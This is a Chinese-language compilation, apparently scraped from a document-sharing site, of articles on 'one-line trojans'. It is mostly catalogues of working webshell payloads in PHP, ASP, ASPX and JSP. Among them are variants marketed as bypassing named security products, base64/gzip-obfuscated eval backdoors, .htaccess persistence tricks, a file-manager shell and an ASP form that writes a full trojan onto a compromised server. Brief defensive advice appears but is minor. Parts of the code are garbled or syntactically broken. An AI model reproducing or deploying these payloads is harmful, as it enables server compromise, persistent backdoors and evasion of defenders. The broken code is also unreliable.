php eval函数一句话木马代码
- 格式:pdf
- 大小:30.76 KB
- 文档页数:1
PHP8种⼀句话⽊马⼀句话⽊马书写:为什么是⼀句话⽊马,因为他可以通过函数接收指定的参数来让我们的操作系统执⾏指定的命令 1.eval函数<?php eval($_REQUEST['a]);?> 2.assert函数(php官⽅在php7中更改了assert函数。
在php7.0.29之后的版本不⽀持动态调⽤。
也就是7.0.29之后⽆法执⾏命令)<?php assert($_REQUEST["a"]); ?> 3.匿名⽅法构造<?php func=create_function('',$_POST['a']); func();?> 4.array_map的书写⽅式: <?php$func = $_POST['a'];$arr = array($_POST['b']);news = array_map($func, $arr);?> 5.call_user_func(⽅法名,参数) 把接受的第⼀个值当作回调函数调⽤,其余参数作为回调函数的参数<?php$a = $_GET['a'];call_user_func(assert,$a);//书写为⼀句//call_user_func(assert,$_GET['a']);?> 6.array_filert(⽅法名,数组)<?php//函数过滤器,学过python的⼩伙伴⼀定看的懂,就是将数组中的每个值放到指定的函数中,返回⼀个只含有true的结果,上⽅的array_map也和python的map函数基本相像$arr = array_filert($_GET['func'],array($_GET['a']));?> 7.⽂件操作函数:⽣成⼀个之前的⼀句话⽊马,<?php$test='<?php eval($_POST['a']);?>';file_put_contents('test1.php',$test);//⼀句话的书写⽅式fputs(fopen('a.php','w'),'<?php assert($_POST["a"]?>');?> 8.动态函数调⽤:接收⼀个函数作为函数名,⼀个函数作为参数进⾏动态调⽤<?$_GET['func']($_GET['a']);?>。
各种⼀句话⽊马⼤全<%eval request("c")%><%execute request("c")%><%execute(request("c"))%><%ExecuteGlobal request("sb")%>%><%Eval(Request(chr(35)))%><%<%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%><%eval(Request.Item["c"],"unsafe");%>'备份专⽤<%eval(request("c")):response.end%>'⽆防下载表,有防下载表突破专⽤⼀句话<%execute request("c")%><%<%loop<%:%><%<%loop<%:%><%execute request("c")%><%execute request("c")<%loop<%:%>'防杀防扫专⽤<%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%>'不⽤"<,>"<script language=VBScript runat=server>execute request("c")</script><% @Language="JavaScript" CodePage="65001"var lcx={'名字':Request.form('#'),'性别':eval,'年龄':'18','昵称':'请叫我⼀声⽼⼤'};lcx.性别((lcx.名字)+'') %><script language=vbs runat=server>eval(request("c"))</script><script language=vbs runat=server>eval_r(request("c"))</script>'不⽤双引号<%eval request(chr(35))%>'可以躲过雷客图<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1") nguage="VBScript" ms.AddObject"response",response ms.AddObject"request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%><%dy=request("dy")%><%Eval(dy)%>'容错代码if Request("sb")<>"" then ExecuteGlobal request("sb") end ifPHP⼀句话复制代码代码如下:<?php eval($_POST1);?><?php if(isset($_POST['c'])){eval($_POST['c']);}?><?php system($_REQUEST1);?><?php ($_=@$_GET1).@$_($_POST1)?><?php eval_r($_POST1)?><?php @eval_r($_POST1)?>//容错代码<?php assert($_POST1);?>//使⽤Lanker⼀句话客户端的专家模式执⾏相关的PHP语句<?$_POST['c']($_POST['cc']);?><?$_POST['c']($_POST['cc'],$_POST['cc'])?><?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使⽤这个后,使⽤菜⼑⼀句话客户端在配置连接的时候在"配置"⼀栏输⼊*/:<O>h=@eval_r($_POST1);</O><?php echo `$_GET['r']` ?>//绕过<?限制的⼀句话<script language="php">@eval_r($_POST[sb])</script>JSP⼀句话复制代码代码如下:<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>提交客户端<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>ASPX⼀句话<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>再补充⼏个:推荐还是把⼀句话加进图⽚⾥⾯去。
php一句话木马原理PHP一句话木马原理。
PHP一句话木马是一种常见的网络攻击手段,它可以让攻击者在受害者的服务器上执行恶意代码,从而获取服务器的控制权。
在本文中,我们将深入探讨PHP一句话木马的原理,以帮助读者更好地理解和防范这种安全威胁。
首先,让我们来了解一下PHP一句话木马的基本原理。
一句话木马实际上是一段经过编码的恶意PHP代码,它通常非常短小,只有一行甚至几个字符。
攻击者可以将这段代码插入到受害者的网页文件中,然后通过浏览器访问这个被植入木马的网页,就可以执行其中的恶意代码。
这种攻击手段利用了PHP的动态特性,可以在不修改文件的情况下执行任意代码,因此非常隐蔽和危险。
接下来,我们来详细分析一下PHP一句话木马的原理。
首先,攻击者需要找到一个存在漏洞的网站,比如未经过滤的用户输入、文件上传漏洞等。
然后,攻击者就可以利用这些漏洞将一句话木马代码插入到网站的某个可访问的文件中。
一旦有用户访问了包含木马代码的页面,恶意代码就会被执行,从而实现攻击者的控制目的。
此外,PHP一句话木马还可以通过一些特殊的技术手段来进行加密和混淆,以逃避安全防护系统的检测。
攻击者可以利用base64编码、字符串拼接、变量替换等技术来隐藏木马代码,使其更难以被发现和清除。
这也给网站的安全防护带来了更大的挑战,需要采取更加严密的安全措施来保护网站和用户的数据安全。
针对PHP一句话木马的防范措施,首先是加强对网站的安全审计和漏洞修复工作。
网站管理员需要定期对网站进行安全检查,及时修复存在的漏洞和安全隐患,以防止攻击者利用这些漏洞进行攻击。
其次,加强对用户输入的过滤和验证,避免恶意代码的注入。
同时,也可以通过安全防护软件和WAF(Web应用防火墙)等技术手段来提高网站的安全性,及时发现并阻止恶意攻击。
总的来说,PHP一句话木马是一种常见而危险的网络安全威胁,攻击者可以利用它来获取服务器的控制权,从而对网站和用户数据造成严重危害。
eval一句话木马原理详解eval一句话木马原理详解<%eval request("#")%>来解释下它的原理.首先是JavaScript脚本的开始标记,其中RUNA T属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名为#的部分,例如如下摘自一句话客户端的代码: set iP=server.createObject("Adodb.Stream")iP.OpeniP.Type=2iP.CharSet="gb2312"iP.writetext request("aoyun")iP.SaveToFile server.mappath("aoyunwan.asp"),2iP.Closeset iP=nothingresponse.redirect "aoyunwan.asp"学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:set iP=server.createObject("Adodb.Stream")iP.OpeniP.Type=2iP.CharSet="gb2312"iP.writetext request("aoyun")iP.SaveToFile server.mappath("aoyunwan.asp"),2iP.Closeset iP=nothingresponse.redirect "aoyunwan.asp"学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用该对象的writetext方法将request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea标记中的内容,也就是我们的大马的代码)写入服务端的aoyunwan.asp文件中,写入结束后使用set iP=nothing 释放Adodb.Stream对象然后使用response.redirect "aoyunwan.asp" 转向刚才写入大马代码的文件,也就是我们最后看见的大马了!不过一句话木马能成功的条件依赖于两个条件:一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入大马代码的条件是服务器端创建Adodb.Stream组件,如果该组件被禁用的话是不会写入成功的!二、还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写入操作的话那么也是不会成功的.============一句话木马"服务端就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp 为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为<%execute request("value")%> 其中value可以自己修改"一句话木马"客户端用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件一句话木马客户端源文件:里面涉及到一些脚本知识,我就只讲解一下功能和简单注释,不详细讲了,大家只要注意几个注意点就行了***********************************************************//"action="后面是需要修改的以asp命名的数据库的提交地址//这个标签的意思是建立一个表单以post方式提交给连接/doc/d916207664.html,/news/ebook/db/ebook .asp处理//这里的value值根据服务端<%execute request("value")%>中value而设定//可以自行修改成<%execute request("p")%>相应这里的value 值也必须改为pset lP=server.createObject("Adodb.Stream")//建立流对象,有了对象才可以使用它固有的属性和方法lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("joeving") //取得木马内容参数joeving可以自己定义但必须和下面的name=joeving相对应lP.SaveToFile server.mappath("wei.asp"),2//将木马内容以覆盖文件的方式写入wei.asp//2就是已覆盖的方式,这里的wei.asp也是可以自己定义的,如定义成1.asp//但和下面的response.redirect"wei.asp"中wei.asp的保持一致lP.Close //关闭对象set lP=nothing //释放对象response.redirect "wei.asp" //转向生成的wei.asp 和上面的wei.asp相对应,也就是你熟悉的asp木马登陆界面。
webshell php例子Webshell是一种通过Web界面操作服务器的工具,它可以将服务器的操作命令转化为Web界面中的操作按钮或输入框,方便用户进行服务器管理。
其中,PHP是一种常用的Web编程语言,因此在Webshell中也经常使用PHP语言来编写。
以下是一些常见的基于PHP的Webshell示例,供参考:1. 一句话木马:这是一种简单而常见的Webshell形式,只需要一句PHP代码即可实现:```php<?php @eval($_POST['cmd']);?>```通过发送POST请求,传递命令参数cmd即可执行命令。
2. 文件管理器:```php<?phpif(isset($_GET['action'])){$action = $_GET['action'];switch($action){case 'list': // 列出目录下文件$dir = $_GET['dir'];$files = scandir($dir);foreach($files as $file){echo $file.'<br>';}break;case 'upload': // 上传文件$file = $_FILES['file'];move_uploaded_file($file['tmp_name'], $file['name']);echo '上传成功!';break;case 'delete': // 删除文件$file = $_GET['file'];unlink($file);echo '删除成功!';break;default:echo '未知操作!';}}>```通过GET请求传递不同的action参数,可以实现列出目录下文件、上传文件、删除文件等功能。
⼀句话⽊马记录1、asp⼀句话⽊马:<%eval request(“x”)%>2、php⼀句话⽊马:<?php eval($_POST[g]);?>3、aspx⼀句话:<%@ Page Language=”Jscript”%><%eval(Request.Item["x"],”unsafe”);%>4、数据库加密⼀句话(密码a):┼攠数畣整爠焕敌瑳∨≡┩忾5、⽹站配置、版权信息专⽤⼀句话:”%><%Eval Request(x)%>6、⼀句话再过护卫神:<%Y=request(“x”)%> <%execute(Y)%>7、过拦截⼀句话⽊马:<% eXEcGlOBaL ReQuEsT(“x”) %>8、asp闭合型⼀句话:%><%eval request(“0o1Znz1ow”)%><%9、能过安全狗的解析格式:;hfdjf.;dfd.;dfdfdfd.asp;sdsd.jpg http://www.toreadsafe.xyz10、突破安全狗的⼀句话:<%Y=request(“x”)%> <%eval(Y)%>11、elong过安全狗的php⼀句话:<?php $a = “a”.”s”.”s”.”e”.”r”.”t”; $a($_POST[cc]); ?>12、突破护卫神,保护盾⼀句话:<?php $a = str_replace(x,”",”axsxxsxexrxxt”);$a($_POST["test"]); ?>13、⾼强度php⼀句话:<?php substr(md5($_REQUEST['heroes']),28)==’acd0′&&eval($_REQUEST['c']);?>14、后台常⽤写⼊php⼀句话(密码x):<?$fp = @fopen(“c.php”, ‘a’);f@fwrite($fp, ‘<’.'?php’.”\r\n\r\n”.’eval($_POST[x])’.”\r\n\r\n?”.”>\r\n”);@fclose($fp);>15、许多⽹页程序都不允许包含〈%%〉标记符号的内容的⽂件上传,这样⼀句话⽊马就写⼊不进数据库了。
一句话木马的原理及利用(asp,aspx,php,jsp)一句话木马的适用环境:1.服务器的来宾账户有写入权限2.已知数据库地址且数据库格式为asa或asp3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可一句话木马的工作原理:"一句话木马"服务端(本地的html提交文件)就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为<%execute request("value")%> 其中value可以自己修改"一句话木马"客户端(远程服务器上被插入一句话的asp文件)用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件现在先假设在远程主机的TEXT.ASP(客户端)中已经有了<%execute request("value")%>这个语句.)在ASP里<%execute ............")%>意思是执行省略号里的语句.那么如果我写进我们精心构造的语句,它也是会帮我们执行的.就按照这上面的思路,我们就可以在本地构造一个表单内容如下:(//为注释)<form action=http://主机路径/TEXT.asp method=post><textarea name=value cols=120 rows=10 width=45>set lP=server.createObject("Adodb.Stream")//建立流对象lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp</textarea><textarea name=newvalue cols=120 rows=10 width=45>添入生成木马的内容</textarea><BR><center><br><input type=submit value=提交></form>表单的作用就是把我们表单里的内容提交到远程主机的TEXT.ASP这个文件.然后因为TEXT.ASP里有<%execute request("value")%>这句,那么这句代码就会执行我们从表单里传来的内容哦.(表单名必须和<%execute request("value")%>里的V ALUE一样,就是我用蓝色标记的那两处,必须相等)说到这里大家是不是清楚了.我们构造了两个表单,第一个表单里的代码是文件操作的代码(就是把第二个表单内的内容写入在当前目录下并命名为newvalue.ASP的这么一段操作的处理代码)那么第二个表单当然就是我们要写入的马了.具体的就是下面这一段:set lP=server.createObject("Adodb.Stream")//建立流对象lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newvalue.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp这样的话第二个表单的名字必须和lP.writetext request("newvalue") 里的Newvalue一样,就是我用红色标注的那两处.至此只要服务器有写的权限你表单所提交的大马内容就会被写入到newmm.asp中。
PHP⽊马⼤全⼀句话的PHP⽊马的防范php后门⽊马常⽤的函数⼤致上可分为四种类型: 1. 执⾏系统命令: system, passthru, shell_exec, exec, popen, proc_open 2. 代码执⾏与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 3. ⽂件包含与⽣成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite 4. .htaccess: SetHandler, auto_prepend_file, auto_append_file 1. 执⾏系统命令: system 函数 //test.php?cmd=ls system($_GET[cmd]); passthru 函数 //test.php?cmd=ls passthru($_GET[cmd]); shell_exec 函数 //test.php?cmd=ls echo shell_exec($_GET[cmd]); exec 函数 //test.php?cmd=ls $arr = array(); exec($_GET[cmd],$arr); print_r($arr); popen 函数 //test.php?cmd=ls $handle = popen('$_GET[cmd], 'r'); $read = fread($handle, 2096); echo $read; pclose($handle); proc_open 函数 //test.php?cmd=ls $descriptorspec = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'), ); $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes); fclose($pipes[0]); $output = array(); while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n")); print_r($output); 2. 代码执⾏与加密: eval 函数 //最常见的⼀句话⽊马 eval($_POST[cmd]); base64_decode 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=')); gzinflate 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA=='))); gzuncompress 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA=='))); gzdecode 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST['cmd']); eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA=='))); str_rot13 函数 //为了免杀及隐藏⽽加密代码 //密⽂: eval($_POST[cmd]); eval(str_rot13('riny($_CBFG[pzq]);')); assert 函数 //类似eval函数 assert($_POST[cmd]); call_user_func 函数 //使⽤call_user_func调⽤assert call_user_func('assert',$_POST[cmd]); call_user_func 函数 //使⽤call_user_func调⽤任意函数 //test.php?a=assert&cmd=phpinfo() call_user_func($_GET[a],$_REQUEST[cmd]); 组合代码 //组合⽅式调⽤任意函数 //test.php?a=assert&cmd=phpinfo() $_GET[a]($_REQUEST[cmd]); 3. ⽂件包含与⽣成: require 函数 //包含任意⽂件 //test.php?file=123.jpg require($_GET[file]); require_once 函数 //包含任意⽂件 //test.php?file=123.jpg require_once($_GET[file]); include 函数 //包含任意⽂件 //test.php?file=123.jpg include($_GET[file]); include_once 函数 //包含任意⽂件 //test.php?file=123.jpg include_once($_GET[file]); file_get_contents 函数 //读取任意⽂件 //test.php?f=config.inc.php echo file_get_contents($_GET['f']); file_put_contents 函数 //⽣成任意内容⽂件 //a=test.php&b= file_put_contents($_GET[a],$_GET[b]); fputs 函数 //⽣成任意内容⽂件 //a=test.php&b= fputs(fopen($_GET[a],"w"),$_GET[b]); 4. .htaccess: SetHandler //可将php代码存于⾮php后缀⽂件,例: x.jpg //将以下代码写⼊.htaccess中 //连接x.jpg即可启动后门⽊马出处 SetHandler application/x-httpd-php auto_prepend_file //可将php代码存于⾮php后缀⽂件,例: 123.gif //将以下代码写⼊.htaccess中, ⽂件路径必须是绝对路径 //访问⽹站上任何php⽂件都会启动该php后门⽊马 //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马 php_value auto_prepend_file c:/apache2/htdocs/123.gif auto_append_file //类似auto_prepend_file //可将php代码存于⾮php后缀⽂件,例: 123.gif //将以下代码写⼊.htaccess中, ⽂件路径必须是绝对路径 //访问⽹站上任何php⽂件都会启动该php后门⽊马 php_value auto_append_file c:/apache2/htdocs/123.gif防范⽅法:通过禁⽌危险函数 php.ini中设置disable_functions详情可以参考下 /article/19292.htm。